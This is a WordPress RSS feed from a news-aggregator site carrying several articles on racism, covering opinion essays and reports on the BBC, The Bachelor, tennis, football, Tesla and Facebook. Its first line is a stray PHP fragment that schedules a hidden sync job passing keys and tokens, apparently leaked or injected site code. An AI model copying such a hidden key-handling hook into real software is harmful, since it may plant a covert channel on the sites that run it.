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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); racism – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Sep 2022 02:36:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png racism – Brief News https://briefnews.eu 32 32 The Difference Between First-Degree Racism and Third-Degree Racism https://briefnews.eu/the-difference-between-first-degree-racism-and-third-degree-racism/ https://briefnews.eu/the-difference-between-first-degree-racism-and-third-degree-racism/#respond Fri, 09 Sep 2022 02:36:12 +0000 https://briefnews.eu/the-difference-between-first-degree-racism-and-third-degree-racism/ The unrelenting protests, the supportive statements from white leaders nationwide, and the early momentum behind policing policy changes are all indications that this might be a turning point in our nation’s battle against racism. Will we seize this opportunity or will we lose momentum, showing once again that America can be “a 10-day nation” that moves on too easily to the next crisis, as Martin Luther King Jr. warned a fellow civil-rights activist in 1963?

My father, Emmett Rice, and I had hundreds of conversations about race and racism from the time I was a boy until a few weeks before he died, in 2011, at 91 years old. He was the most intellectually curious person I have ever known. He grew up in South Carolina in the Jim Crow era of the 1920s and ’30s. Despite losing his father when he was only 7, he graduated from college, served in World War II with the Tuskegee Airmen, earned a doctorate in economics, and became one of the seven governors of the Federal Reserve Board in the 1980s. Racism still chased him and burdened him every day of his life. So he armed me with the knowledge he’d amassed, in hopes I could do even more.

Thirty years ago, my dad gave me his playbook to put racism to rest, and it inspired me to dedicate my career to executing his vision. Dad’s playbook included one insight that all Americans should hear, at least those who hope that when it comes to addressing racism, we can do better. As an economist, he told me that we have to “increase the cost of racist behavior.” Doing so, he said, would create the conditions for black people to harness the economic power essential to changing the narrative in white America’s mind about race.

[Read: History will judge the complicit]

We can ratchet up that cost in several ways, starting today. The first step is to clarify what constitutes racist behavior. Defining it makes denying it or calling it something else that much harder. There are few things that white Americans fear more than being exposed as racist, especially when their white peers can’t afford to come to their defense. To be outed as a racist is to be convicted of America’s highest moral crime. Once we align on what racist behavior looks like, we can make those behaviors costly.

The most well-understood dimension involves taking actions that people of color view as overtly prejudiced—policing black citizens much differently than whites, calling the police on a black bird-watcher in Central Park who is asking you to obey the law, calling somebody the N-word to show them who is boss. This is racism in the first degree. If officers anticipated that they would be held fully accountable for bad policing, they would do more good policing and we could begin healing the wounds they’ve inflicted on black people for centuries.

Then there is opposing or turning one’s back on anti-racism efforts, often justified by the demonization of the people courageously tackling racist behavior. I call this racism in the second degree, akin to aiding and abetting. George Floyd’s death under yet another police officer’s knee exposed the NFL’s four-year effort to avoid confronting racist policing by way of demonizing Colin Kaepernick. When the NFL’s sponsors could no longer stay silent and its star players (both black and white) spoke out, the costs were so high that the commissioner felt compelled to apologize—though notably not to Kaepernick himself.

[Jemele Hill: Suddenly the NFL cares about black lives]

The final, most pernicious category undergirds the everyday black experience. When employers, educational institutions, and governmental entities do not unwind practices that disadvantage people of color in the competition with whites for economic and career mobility, that is fundamentally racist—not to mention cancerous to our economy and inconsistent with the American dream. For example, the majority of white executives operate as if there is a tension between increasing racial diversity and maintaining the excellence-based “meritocracies” that have made their organizations successful. After all, who in their right mind would argue against the concept of meritocracy?

When these executives are challenged on hiring practices, their first excuse is always “The pipeline of qualified candidates is too small, so we can only do so much right now.” Over the past 20 years, I have not once heard an executive follow up the “pipeline is too small” defense with a quantitative analysis of that pipeline. This argument is lazy and inaccurate, and it attempts to shift the responsibility to fix an institution’s problem onto black people and the organizations working to advance people of color. When asked why they have so few minorities in senior leadership roles, executives’ most common response is “There are challenges with performance and retention.” To reinforce their meritocracy narrative, white leaders point to the few black people they know who have made it to the top, concluding inaccurately that they were smarter and worked harder than the rest.

Organizations cannot be meritocracies if their small number of black employees spend a third of their mental bandwidth in every meeting of every day distracted by questions of race and outcomes. Why are there not more people like me? Am I being treated differently? Do my white colleagues view me as less capable? Am I actually less capable? Will my mistakes reflect negatively on other black people in my firm? These questions detract from our energy to compete for promotions with white peers who have never spent a moment distracted in this way. I wager that 90 percent of the white executives who read these last sentences are now asking, particularly after recent events, “How did we miss that?” This dimension of racism is particularly hard to root out, because many of our most enlightened white leaders do not even realize what they are doing. This is racism in the third degree, akin to involuntary manslaughter: We are not trying to hurt anyone, but we create the conditions that shatter somebody else’s future aspirations. Eliminating third-degree racism is the catalyst to expanding economic power for people of color, so it merits focus at the most senior levels of education, government, and business.

Employers whose efforts to increase diversity lack the same analytical and executional rigor that is taken for granted in every other part of their business engage in practices that disadvantage black people in the competition for economic opportunity. By default, this behavior protects white people’s positions of power. The nonprofit organization that I have built over the past 20 years, Management Leadership for Tomorrow, has advanced more than 8,000 students and professionals of color toward leadership positions, and we partner with more than 120 of the most aspirational employers to support their diversity strategy, as well as their recruiting and advancement efforts. Yet I have not seen 10 diversity plans that have the foundational elements that organizations require everywhere else: a fact-based diagnosis of the underlying problems, quantifiable goals, prioritized areas for investment, interim progress metrics, and clear accountability for execution. Expanding diversity is not what compromises excellence; instead, it is our current approach to diversity that compromises excellence and becomes a self-fulfilling prophecy.

We can increase the cost of this behavior by calling on major employers to sign on to basic practices that demonstrate that black lives matter to them. These include: (1) acknowledging what constitutes third-degree racism so there is no hiding behind a lack of understanding or fuzzy math, (2) committing to developing and executing diversity plans that meet a carefully considered and externally defined standard of rigor, and (3) delivering outcomes in which the people of color have the same opportunities to advance.

[Read: To be black in America is to stare into the mirror of your own extinction]

Companies that sign on will be recognized and celebrated. Senior management teams that decline to take these basic steps will no longer be able to hide, and they will struggle to recruit and retain top talent of all colors who will prefer firms that have signed on. The economic and reputational costs will increase enough for behavior and rhetoric to change. Then more people of color will become economically mobile, organizations will become more diverse and competitive, and there will be a critical mass of black leaders whose institutional influence leads to more racially equitable behavior. These leaders will also have the economic power to further elevate the cost of all other types of racist behavior, in policing, criminal justice, housing, K–12 education, and health care—systems that for decades have been putting knees on the necks of our most vulnerable citizens and communities.

Third-degree racism can be deadly. For at least the first few months of the COVID-19 pandemic, the Centers for Disease Control and Prevention mandated that in order to get tested, you had to go to a primary-care doctor to get a prescription and then, in some areas, also get a referral to a specialist who could approve a test, because they were in limited supply. That process made it much harder for minorities to access tests, because they are much less likely to have  primary-care physicians. This is one of several reasons the hospitalization and death rates for minorities are disproportionately higher than those for whites. If the people who designed that process knew up front that they would be exposed as racist, fired, and ostracized if their approach put minorities at a greater health risk than white people, they would have designed it differently and saved black lives. Just having a critical mass of minorities in decision-making roles regarding that test-qualification process would have also saved many lives.

Rooting out third-degree racism is what will ultimately change the narrative about race. When white people see more black people on the same path as they are, when white people are working in diverse organizations, and when they are proximate to black leaders beyond athletes and entertainers, only then will they stop fearing and feeling superior to the black people they don’t know.

This is the path that will finally lift racism’s enormous burden off the backs of black people—the burden that my dad spent his nine decades working to shed, and that he hoped to avoid passing down to me, and that I am trying not to pass down to my 18-year old son as he graduates from high school and moves away. But if I am fortunate enough to someday have a grandson, and if he can grow up in a world where he can dedicate his full energy to becoming the best American he can be—as white people have been doing for 400 years—then my dad, so many other black fathers, and maybe even George Floyd will be able to rest in peace.

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Chris Harrison, who has hosted The Bachelor for 25 seasons, is used to putting the reality show’s stars and contestants in the hot seat. But thanks to some comments he made in a recent interview with Rachel Lindsay, the franchise’s first Black Bachelorette, now he is feeling the heat of public opinion and apologizing.

“To my Bachelor Nation family — I will always own a mistake when I make one, so I am here to extend a sincere apology,” Harrison said in a tweet Wednesday night. “While I do not speak for Rachael Kirkconnell, my intentions were simply to ask for grace in offering her an opportunity to speak on her own behalf. What I now realize I have done is cause harm by wrongly speaking in a manner that perpetuates racism and for that I am so deeply sorry.”

In case you missed the offense, Harrison opened his mouth and inserted his foot during a recent Extra interview that Lindsay hosted. During the segment, Lindsay and Harrison discussed photos of Season 25 contestant Kirkconnell — currently vying for the heart of Matt James, the franchise’s first Black Bachelor — attending an Antebellum party three years ago. She has since taken the photos off of social media and disabled the comments option. Because of the painful and racist history the pre-Civil War Antebellum South and slavery triggers, many have shunned romanticizing the era and its images.

Instead of saying something about the problematic nature that Kirkconnell’s past racial insensitivities create, Harrison defended her reputation and lambasted what he called “cancel culture.”

“This ‘judge, jury, executioner’ thing where people are just tearing this girl’s life apart and diving into her parents’ voting record … it’s unbelievably alarming to watch this,” a visibly frustrated Harrison told Lindsay. “You know, I saw a picture of her at a sorority show five years ago, and that’s it.”

But Lindsay didn’t let Harrison or Kirkconnell shirk their accountability that easily: “Well, the picture was from 2018 at an old South/Antebellum party, so that’s not a good look.”

Harrison then questioned Lindsay if cancel culture made Kirkconnell’s actions unacceptable in 2018 or now, and Lindsay, who used to be an attorney, stood her ground.

“It’s not a good look ever,” she said, before emphasizing the slavery component in regards to being Black. “She’s celebrating the old South. If I went to that party, what would I represent?”

However, Harrison never conceded his point, and fans of The Bachelor didn’t appreciate his cultural obtuseness.

“We can leave grace and space for learning while still demanding accountability,” tweeted Huffington Post reporter Emma Gray. “I feel like [Chris Harrison] expresses more empathy for people who romanticize the confederacy than people who are harmed by white supremacy in this clip. So disappointing.”

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]]> https://briefnews.eu/bachelors-chris-harrison-apologizes-for-perpetuating-racism-in-interview-about-contestants-past-photos/feed/ 0 Racism, Retaliation and Othering https://briefnews.eu/racism-retaliation-and-othering/ https://briefnews.eu/racism-retaliation-and-othering/#respond Wed, 04 Mar 2020 09:27:15 +0000 https://briefnews.eu/?p=258438 This article was originally posted on ChangeRoots.com 

Racist comments are damaging, so is othering the one who said it

I want to acknowledge that I am writing this from a place of privilege. I am a straight-white-man. That said, My father is Jewish and I’ve experienced limited discrimination from being subjected to anti-semitic comments and beliefs.

By othering, I mean any action by which an individual or group becomes mentally classified in somebody’s mind as “not one of us”. We often forget each person is a complex bundle of emotions, ideas, motivations, reflexes, priorities, and many other subtle aspects. Instead we dismiss them as being categorically one thing. This diminishes their humanity and worthiness in our minds.

When someone simplifies us to a single aspect of ourselves, we usually retaliate. We respond in kind, by othering them back. We see this when someone makes a racist comment. Immediately people respond by labeling them as a racist. You might be thinking, “well of course, they are a racist.” There is a critical distinction between being called a racist vs being told your comment is racist. When called a racist, people feel they are being simplified and attacked. When called out for making a racist comment, pyschologically speaking, people don’t feel so attacked and are willing to engage in a constructive dialogue about it. They may not have realized that their comment was offensive or the magnitude of hurt it caused. Labeling them a racist cuts off their ability to constructively reflect.

When you other another person you tell your subconscious that individual can no longer be anything except the label you’ve bestowed upon them. If you call someone a racist you are saying they embody racism, have always been racist and will always be racist. This cuts off your own ability to believe in their ability to change and to become a better version of themselves. Similarly when someone is othered, they feel their own humanity attacked, which through a perverse quirk of human psychology makes them double down on whatever they feel attacked about.

Put simply, calling someone a racist makes them more likely to say racist things.

What can be done differently?

Conversely, if you highlight the specific action that offended and tell that person how it offended you, studies have shown the individual is far more likely to empathize with your perspective, genuinely apologize and change their future behavior.

Trump’s comments towards four congresswomen of color to “go back and help fix the totally broken and crime infested places from which they came” illustrates this point. His racist comment othered not only those congresswomen, but also those who identify and support them. He disrespected them and diminished millions of people’s humanity in the process. In retaliation, most of those congresswomen and their supporters called Trump a racist. This othered Trump and all of his supporters, diminishing millions of people’s humanity to the single label as ‘a racist’. Both sides double downed, traded angry comments and feel more animosity towards each other than they did before.

The high road sucks, yet it’s our best hope

We are in a cycle of attacking, labeling and othering one another. When someone offends you, it’s hurtful, angering, heartbreaking and infuriating. It is a very human and completely understandable reaction to respond by othering them for their offensive behavior. Yet, as Gandhi put it:

“An eye for an eye only ends up making the whole world blind”

When someone blinds you, you have a choice. You can other the person in retaliation. Or you can call out the specific action, tell them how it offended you and extend an offer to work with them. One furthers the cycle while the other helps break it.

You are probably thinking that it is unfair for those who are offended to be the ones to rise above — you’re not wrong. Yet truly breaking this cycle — to achieve a better society — requires those subject to offense to be courageous. It requires people to rise above and to lead by example.

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Check out When Labeling Racism Doesn’t Work:

“By focusing on words and actions instead of on labels, you may be able to get individuals who show racial insensitivity to rethink their behavior. By calling them racist, however, you’re much more likely to get an empty apology and defensive rationalizations, all while the person who offended you remains as clueless about racism as ever…

Sometimes “racism” isn’t the best word to describe someone’s behavior because it isn’t specific enough. Rather than using a word such as “racist,” perhaps you want to point out to a friend that his behavior stereotyped [a specific race] or that the comment he made…was xenophobic.”

When Is It Right to Call Someone ‘Racist’? is less clear, but has some good nuggets:

“The problem with “racism” is that it’s a personal insult, and it’s almost as impossible to prove it as to disprove it. It’s not a terribly illuminating term, either: If you call me a racist, you haven’t really described anything I’ve done that’s objectionable. You’ve just somehow designated me, and my so-far unchallenged arguments, outside the pale, so to speak.”

Jake Sandler is a cofounder of ChangeRoots, a millennial focused startup on a mission to root out the toxic partisanship infecting our politics by enabling people to micro donate to politicians (or their future challengers) based on their statements and actions.

]]> https://briefnews.eu/racism-retaliation-and-othering/feed/ 0 BBC BACKLASH: Angry response over Naga Munchetty treatment over Trump racism comments https://briefnews.eu/bbc-backlash-angry-response-over-naga-munchetty-treatment-over-trump-racism-comments/ https://briefnews.eu/bbc-backlash-angry-response-over-naga-munchetty-treatment-over-trump-racism-comments/#respond Sat, 28 Sep 2019 09:35:40 +0000 http://briefnews.eu/bbc-backlash-angry-response-over-naga-munchetty-treatment-over-trump-racism-comments/

Up to 150 black presenters and high-profile figures signed a letter urging the corporation to overturn its decision to back a complaint against the BBC Breakfast TV host. The BBC’s editorial complaints unit said Ms Munchetty, 44, broke rules while discussing remarks by US president Donald Trump that she said were “embedded in racism”. The group, including actors Sir Lenny Henry and David Harewood, Channel 4 presenter Krishnan Guru-Murthy and Sky journalist Gillian Joseph, called the ruling deeply flawed, illegal and against the spirit of public broadcasting.

The row erupted after the BBC unit issued a formal rebuke, saying Ms Munchetty had shown “bias” by condemning comments made by Mr Trump during a broadcast in July.

At the time, Mr Trump was engaged in a heated dispute with top women Democrats who, he said, should “go back” to their own countries.

Ms Munchetty said: “Every time I have been told, as a woman of colour, to go back to where I came from, that was embedded in racism.

“I’m not accusing anyone of anything here, but you know what certain phrases mean.”

Co-host Dan Walker asked how it made her feel and Ms Munchetty replied: “Furious. Absolutely furious. And I imagine a lot of people in this country will be feeling absolutely furious that a man in that position feels it’s OK to skirt the lines with using language like that.”

Asked if she believed Mr Trump’s use of that language “legitimises other people to use this”, she said: “Yes. Yes.” When Mr Walker suggested it “feels like a thought-out strategy to strengthen his position”, Ms Munchetty added: “And it is not enough to do it just to get attention. He’s in a responsible position.

“Anyway, I’m not here to give my opinion.”

Writer Afua Hirsch called the ruling abhorrent and said: “Racism is not an opinion – it is a fundamental ideology that removes the humanity of people because of their race.

“It’s ludicrous to say it’s fine for a presenter to express her own experience of racism, but she shouldn’t cast judgment on the person being racist. It’s an absurd thing to say.” Yesterday Chancellor Sajid Javid backed Ms Munchetty, tweeting: “C’mon BBC. This is ridiculous. It’s perfectly understandable why she said what she did.” London mayor Sadiq Khan added: “Educating viewers on racist language is something she should be applauded for, not censured.”

But veteran broadcaster Alastair Stewart said: “It becomes increasingly difficult for the public to get their heads round what is happening in our politics if supposedly independent TV reporters keep giving us their views rather than the facts.”

And BBC presenter Andrew Marr said: “Analysis fine, hard questions essential, but our views? Not wanted on voyage.” The BBC’s editorial standards boss, David Jordan, said Ms Munchetty did not cause a problem by responding to “that clearly racist comment”, or speaking about how it felt as a black woman.

But he said she was wrong to go on to discuss Mr Trump himself and his motivations, adding: “That breached our impartiality requirements.”

In a letter to staff, BBC director general Lord Hall said “racism is racism” and Ms Munchetty was “completely within her rights” to speak about Mr Trump’s tweets “which have been widely condemned as racist”.

Ms Munchetty was unavailable for comment last night.

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]]> https://briefnews.eu/bbc-backlash-angry-response-over-naga-munchetty-treatment-over-trump-racism-comments/feed/ 0 BBC Breakfast row: Naga’s tense racism debate with John Barnes sparks Twitter frenzy https://briefnews.eu/bbc-breakfast-row-nagas-tense-racism-debate-with-john-barnes-sparks-twitter-frenzy/ https://briefnews.eu/bbc-breakfast-row-nagas-tense-racism-debate-with-john-barnes-sparks-twitter-frenzy/#respond Fri, 09 Aug 2019 13:21:37 +0000 http://briefnews.eu/bbc-breakfast-row-nagas-tense-racism-debate-with-john-barnes-sparks-twitter-frenzy/

BBC Breakfast host Naga Munchetty became embroiled in a tense debate with John Barnes on today’s show as they spoke about racism in sport.

Former footballer John was praised by BBC viewers for his responses when challenged with some rather difficult questions from Naga.

John revealed there had been an increase of racist incidents in football in the Premier League and he wasn’t at all surprised.

He told Charlie and Naga: “I have always said, tackle it in society and football will follow, not the other way around.”

But Naga asked: “Is it not intensified in a football ground?”

John fired back: “Why it is intensified is because in everyday life, you are not called upon to make a judgement of a person walking along the road, or in a shop, whereas in a football stadium, you are called upon to support your team, and abuse the opposition.”

Naga chipped in: “Well, you are not called upon to abuse the opposition.”

“You are – not racially,” John clarified. “But when you have the unconscious bias, it raises its ugly head in positions or either tension or conflict that is when the unconscious bias comes out.

“Fans who were racially abusing Raheem Sterling, for example, if they were to see him in a restaurant they won’t racially abuse him.”

BBC host Naga continued, asking: “But there’s a difference, without being too pernickety, there is a difference between unconscious biased and outright racism isn’t there?

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“And that’s the problem that is coming out on the pitch, on and off the pitch.”

“Of course,” John agreed. “But, these are people who are members of society, football fans aren’t separate – you are a normal member of society and then you carry your discrimination practices into football, or wherever you go, so football can do nothing about that.

“Football can say, for 90 minutes, keep your mouth shut, and what can football do to change the rest apart from saying you are not allowed into the stadium. What we have to do is change people’s perception.”

Naga remarked: “Well football can’t do that…”

“Exactly!” John replied.

BBC Breakfast viewers were quick to praise John for his appearance on the show.

“Huge credit to @officialbarnesy for pinpointing the underlying causes of racism in football and showing a clear-sighted understanding of what’s happening in Britain today that, quite frankly, made the #bbcbreakfast broadcasters questioning him look like children,” one viewer wrote on Twitter.

Another added: “John Barnes running rings around the usual platitudes and cliches from Stayt and Munchety.”

A third shared: “”John Barnes speaking absolute sense this morning and always has done when it comes to racism at football.”

BBC Breakfast airs weekdays on BBC One at 6am.

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]]> https://briefnews.eu/bbc-breakfast-row-nagas-tense-racism-debate-with-john-barnes-sparks-twitter-frenzy/feed/ 0 Racism storm erupts at Aus Open https://briefnews.eu/racism-storm-erupts-at-aus-open/ https://briefnews.eu/racism-storm-erupts-at-aus-open/#respond Wed, 23 Jan 2019 18:34:49 +0000 http://briefnews.eu/racism-storm-erupts-at-aus-open/ Australian Open semi-finalist Naomi Osaka should be focusing on her charge to the No. 1 ranking – instead her Melbourne campaign has been dragged into controversy by a “whitewashed” cartoon advertisement.

Japanese company Nissin has now been forced to apologise for its advertising campaign which features caricatures of Japanese tennis superstars Kei Nishikori and Osaka.

The ad has come under fire for “whitewashing” the skin tones of both Nishikori and Osaka, who has publicly celebrated her gene pool mix of Haitian and Japanese ancestry.

Her dark skin tones are nowhere to be seen in the commercial – and her trademark hair style is also nowhere to be seen in the ad.

The 90 second commercial has simply gone down like a led balloon.

Nissin, an instant noodle company based in Japan, has released a statement to international media to say that the cartoon is part of an advertising campaign launched in January called “Hungry to Win”.

It features the artistic stylings of designer Takeshi Konomi, a veteran manga artist, who is best known for his cartoon “Prince of Tennis” series.

The company claims the depictions of Osaka and Nishikori are simply in-line with the artist’s traditional stylings.

Their explanation was simply not good enough for some to swallow.

“I’d been anticipating Osaka’s appearance since it isn’t often that a high-profile woman of color is featured in a major Japanese ad campaign. So when I cued it up on YouTube I was truly disappointed to see that there was no woman of color to speak of in the commercial. Instead, I found a whitewashed representation of Osaka,” Baye McNeil, ann author based in Japan wrote in a column for the The Japan Times.

“Come on, Nissin. Was this a business decision? Did you have concerns that your customers might be forced to uncomfortably ponder issues of race or ethnicity while slurping down a bowl of U.F.O. Yakisoba?

“Sure, anime fans aren’t used to seeing women of colour in the genre so … a few shades lighter on the skin here … a debroadening of the nose there … the de-exoticization of her hair … and, voila! The perfectly palatable girl next door. Not for this fan, though. Osaka’s de-blackening is as problematic to me as a Bobby Riggs tirade against female tennis players.”

His column was titled: “Somebody lost their noodle making this new Nissin ad”.

American commentator Darryl Wharton-Rigby said simply that Nissin “blew it”.

Nissin spokesman, Daisuke Okabayashi, issued an apology when approached for comment by The New York Times.

“There is no intention of whitewashing,” he said.

“We accept that we are not sensitive enough and will pay more attention to diversity issue in the future.”

The growing furore didn’t stop Osaka from cruising through to the semi-finals on Wednesday.

The 21-year-old World No. 4 will become the No. 1 player on the planet if she is able to take out the Australian Open crown.

Osaka was pushed to three sets in two of her matches in Melbourne, but it has still appeared like post-match interviews have given her more grief than her opponents.

She shut down her on-court interview with Channel 9 early on Wednesday after being asked to assess her potential semi-final match-ups with Karolina Pliskova or Serena Williams.

“I played them both and they’re both very great players,” she said.

“Sorry, I know it’s going to be tough no matter who I play, but I’m just trying to go inside because it’s a little bit hot right now.

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]]> https://briefnews.eu/racism-storm-erupts-at-aus-open/feed/ 0 I Believed in Reverse Racism — Then I Moved to the Deep South https://briefnews.eu/i-believed-in-reverse-racism-then-i-moved-to-the-deep-south/ https://briefnews.eu/i-believed-in-reverse-racism-then-i-moved-to-the-deep-south/#respond Tue, 11 Dec 2018 15:08:59 +0000 http://briefnews.eu/i-believed-in-reverse-racism-then-i-moved-to-the-deep-south/

Jody Allard is a writer living in Seattle. She writes primarily about parenting, health and social justice.

Desiree’s hand was outstretched, offering me the crumpled packet of Limon. I didn’t know what Limon was, but I saw other girls sneaking tastes of the powder when the nuns weren’t looking. I took the packet from Desiree, dipped my finger in and tasted it. It was so salty and sour, I winced as it hit my tongue.

Santa Maria was a town full of migrant workers who came up from Mexico to work in central California’s strawberry fields, enrolling their kids in school until they moved on to the next town. I was one of the only white kids in my class and I stuck out like a sore thumb. I was also a loner, different from everyone else, and my Hispanic classmates loved to remind me of that. They’d switch to Spanish when I tried to play with them, rolling their eyes and laughing, or they’d point at me and yell “White girl!” and then run away.

I saw my whiteness as a handicap … something I’d never overcome.

From then on, I saw my whiteness as a handicap, like the missing fingers on my right hand, something I’d never overcome. I sank into myself, disappearing into books and other worlds where people belonged, cherishing those stolen moments eating Limon in the church pews. My family moved to a small logging town in rural Washington state when I was 12. The move came as a relief; I’d been angling to get out of Santa Maria for years, and the whiteness of our new home felt comforting.

There were only a few Black kids in my new school. I never wondered what it was like for them, never spoke up when people called them names. I wasn’t interested in standing out; I had friends for the first time, and no one called me “white girl.” One day during history class, we broke into small groups to discuss affirmative action. “Racism doesn’t exist anymore,” I said. “Affirmative action is punishing white people for being white. It’s reverse racism, like how Mexican kids at school in California made fun of me for being white.” No one argued, nodding in agreement that what I’d said was a fact, like the sky is blue.

I’d never been to the South before moving to Charleston, South Carolina, where my husband was transferred by the Navy. I didn’t believe anyone actually flew the Confederate flag or thought that the South would rise again, but I was wrong. If you asked people — white people — you’d learn that the South was poised for a comeback. I wasn’t sure what they meant or if their plans included a return to slavery, but I also didn’t want to ask.

The first time I heard someone use the N-word, I figured I must’ve been mistaken.

My husband and I lived on a Navy base a few miles outside the city. The closer you got to the center, the whiter it got, until there was nothing but white people. The grand, historic homes that filled Charleston’s old town were almost entirely occupied by white people, but just a few blocks away, the neighborhood changed abruptly. There were no historic homes, only shacks, some with tarps covering holes in the roofs, and from there stretched Blackness all the way into the suburbs. I did my grocery shopping at the Piggly Wiggly. People were friendly and welcoming, evidence, I assumed, of Southern hospitality. So the first time I heard someone use the N-word, I figured I must’ve been mistaken. After the fifth or sixth time, I knew I wasn’t.

The racism was blatant, but my silence in the face of it forced me to confront my own. It hit me that every schoolteacher I’d ever had was white. The nuns were white. I may have been taunted and teased as a little girl, but I always saw myself reflected in the faces of people in power. I thought I was the good guy because I would never use a racial slur, but when someone else did, I never spoke up, not in high school and not in line at the Piggly Wiggly.

My marriage didn’t last, and soon I found myself on a plane back to Washington with three kids and $ 147 to my name. My parents didn’t have much, but they paid for our tickets home. I knew what it was like to be broke, but I’d never felt trapped by poverty until I was too poor to leave my husband. As the plane climbed, my thoughts drifted to the Black neighborhoods in Charleston I used to drive through. All I had to do to escape discrimination was move somewhere new. Where could the residents of those neighborhoods go?

I wondered how I could have complained about reverse racism and claimed that racism was dead. I had no idea what the hell I was talking about, and I certainly didn’t know what it was like for people of color. I was too shy to talk to them, afraid of colors I didn’t understand and of being labeled different again. All those years spent crying reverse racism, I had been racist. I was still racist.

I was shaken from my thoughts by a flight attendant offering me a drink. The soda I ordered was predictably sweet, but for the first time I noticed the bitter taste it left behind.

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]]> https://briefnews.eu/i-believed-in-reverse-racism-then-i-moved-to-the-deep-south/feed/ 0 ‘Newspapers helping fuel racism in football’: Sterling speaks out after alleged abuse at Chelsea https://briefnews.eu/newspapers-helping-fuel-racism-in-football-sterling-speaks-out-after-alleged-abuse-at-chelsea/ https://briefnews.eu/newspapers-helping-fuel-racism-in-football-sterling-speaks-out-after-alleged-abuse-at-chelsea/#respond Sun, 09 Dec 2018 12:28:53 +0000 http://briefnews.eu/newspapers-helping-fuel-racism-in-football-sterling-speaks-out-after-alleged-abuse-at-chelsea/

Manchester City striker Raheem Sterling has accused the UK press of “helping to fuel racism and aggression” by reporting differently on black and white players.

Sterling was allegedly racially abused in Manchester City’s 2-0 defeat to Chelsea at Stamford Bridge on Saturday.

Footage from the game widely circulated on social media on showed a group of Chelsea fans hurling insults at Sterling, including a fan who allegedly branded the England international a “f***ing black c***.”

The England forward himself issued an Instagram post on Sunday in which he referred to the incident but also criticized the press for their reporting.

“Regarding what was said at the Chelsea game as you can see by reaction I just had to laugh because I don’t expect no better,” Sterling wrote.

The post was accompanied by a picture of a Daily Mail report on a young black Manchester City player, Tosin Adarabioyo, who has recently spent around $ 2.5 million on a property “despite never having started a Premier League game.”

Sterling contrasted that with a report on young white Manchester City playmaker Phil Foden, who was apparently lauded for a similar purchase “for his mum” to “set up a future.”   

“You have two young players starting out their careers – both play for the same team, both have done the right thing, which is buy a new house for their mothers who have put in a lot of time and love into helping them get where they are,” Sterling wrote.

“But look at how the newspapers get their message across for the young black player and then for the young white player.

“I think this is unacceptable, both innocent, have not done a thing wrong but just by the way it has been worded, this young black kid is looked at in a bad light, which helps fuel racism and aggressive behaviour,” Sterling added. 

Sections of the UK press have previously been accused of targeting Sterling with a racist slant on their reporting. 

Meanwhile, London police have confirmed they are investigating claims that Sterling was racially abused by Chelsea fans in the teams’ Premier League meeting at Stamford Bridge.

London’s Metropolitan Police have confirmed they will investigate the footage, saying: “We are aware of a video circulating online in which it is claimed racial abuse was allegedly directed at a player.

“We will review the footage to determine whether any offences have been committed.”

Chelsea have also said they will investigate the footage and “take the strongest possible action where necessary.”

The images have prompted widespread outrage among pundits and on social media.

Former Manchester United and England defender Rio Ferdinand condemned the scenes, asking: “Are we going to let this type of racist behavior go on?”

Former Arsenal striker Ian Wright also criticized the scenes, saying “the bad old days are back” and that there was “absolutely no doubt” what one of the men shouted at Sterling.  

Replying to a Twitter post from Wright, former England star and prominent TV pundit Gary Lineker simply wrote: “despicable.”

The incident comes after a Tottenham Hotspur fan last weekend threw a banana skin onto the pitch in the direction of Arsenal striker Pierre-Emerick Aubameyang during the North London derby.

READ MORE: ‘Racist’ Spurs fan who threw banana skin at Arsenal player handed ‘indefinite ban’ from games

The fan has been handed an “indefinite ban,” but has claimed that his actions were not racially motivated.   

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Robotic arms install the front seats to a Model 3 at the Tesla factory in Fremont, California.

Enlarge / Robotic arms install the front seats to a Model 3 at the Tesla factory in Fremont, California. (credit: Mason Trinca for The Washington Post via Getty Images)

At least six black former Tesla employees have told The New York Times that they suffered from racial harassment while working at the company. Three racial discrimination lawsuits have been filed against Tesla since early last year.

One man, DeWitt Lambert, shared a video in which an unidentified man walks around Tesla’s factory floor and—addressing Lambert—threatens to “cut you up … so everybody can have a piece of you, n*****.”

In a lengthy statement to Ars Technica, Tesla faulted the Times for extrapolating from “a very small number of claims” to paint Tesla in an unflattering light.

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]]> https://briefnews.eu/tesla-has-a-problem-with-racism-in-its-factory-so-do-many-of-its-rivals/feed/ 0 ‘More BLM posters than actual black people’: Former employee calls out Facebook’s ‘workplace racism’ https://briefnews.eu/more-blm-posters-than-actual-black-people-former-employee-calls-out-facebooks-workplace-racism/ https://briefnews.eu/more-blm-posters-than-actual-black-people-former-employee-calls-out-facebooks-workplace-racism/#respond Thu, 29 Nov 2018 01:00:23 +0000 http://briefnews.eu/more-blm-posters-than-actual-black-people-former-employee-calls-out-facebooks-workplace-racism/ A black Facebook employee’s post alleging racial discrimination at the social media giant has gone viral, depicting a racially tone-deaf company and challenging the “progressive” Silicon Valley company’s public image.

Mark Luckie shared the message with Facebook management and employees earlier this month after leaving his post as Strategic Partner Manager for Global Influencers focused on Underrepresented Voices. On Tuesday, unsatisfied with the response from management – who dismissed his experience as not typical of Facebook’s black community – he shared it with the rest of the world.

Public shaming, Luckie recognizes, is key to motivating the social network. “I know from being inside Facebook that Facebook doesn’t take any action against the bad things that it has done unless it’s held publicly accountable,” he said.

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Similarly, he was careful to couch his observations of workplace racism in terms management could understand, linking to a study demonstrating how biased treatment in the workplace “greatly impacts employee productivity.”

Black employees hold just 2 percent of leadership positions and 1 percent of technical roles at Facebook. A concerted recruitment effort starting in 2016 helped increase the overall percentage of black employees from 2 percent to 4 percent, but Luckie’s post indicates they have a long way to go before the reality matches the rhetoric. “In some buildings, there are more ‘Black Lives Matter’ posters than there are actual black people,” he wrote.

Luckie also called out uneven content moderation – human and algorithmic – that disproportionately silences black users on Facebook – even when white users post the same messages. One black activist had her own account suspended after she posted a screenshot of racist messages she had received on her Facebook wall – an act meant to call attention to Facebook’s lax enforcement of its own hate speech policy.

